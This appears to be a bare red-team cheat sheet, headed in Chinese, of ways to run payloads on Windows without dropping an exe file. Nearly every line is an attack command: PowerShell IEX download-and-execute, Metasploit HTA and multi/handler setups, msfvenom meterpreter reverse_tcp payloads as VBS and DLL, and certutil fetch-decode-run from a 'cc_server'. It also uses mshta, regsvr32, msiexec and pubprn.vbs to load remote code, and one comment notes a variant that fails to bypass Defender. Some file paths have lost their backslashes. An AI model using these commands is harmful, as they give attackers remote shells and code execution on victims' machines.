windows无exe

powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"

use exploit/windows/misc/hta_server
set lhost x.x.x.x
set lport 4444
run

mshta http://192.168.164.128:8080/lWdH9aFeeIe.hta

cscript %TEMP%\log.vbs 或者 wscript C:\test.js

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f vbs -o 123.vbs

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

cscript 123.vbs

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f dll -o 123.dll

regsvr32 /u /s 123.dll

certutil.exe -urlcache -split -f [URL] outfile.file
certutil.exe -verifyctl -f -split http://www.baidu.com #无法绕过defender

base64 payload.exe > /var/www/html/update.txt

certutil -urlcache -split -f http://cc_server/update.txt & certutil -decode update.txt update.exe & update.exe

cscript C:windowssystem32winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:123.xml

<?xml version="1.0" encoding="UTF-8"?><create_input xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"><commandline>calc.exe</commandline><currentdirectory>C:</currentdirectory></create_input>

Winrm invoke Create wmicimv2/Win32_Process @{    CommandLine="calc.exe";CurrentDirectory="C:"}

C:WindowsSystem32msiexec.exe /q /i http://192.168.164.128:8080/123.msi

# 暂无

pubprn.vbs 127.0.0.1 script:http://x.x.x.x/payload1.sct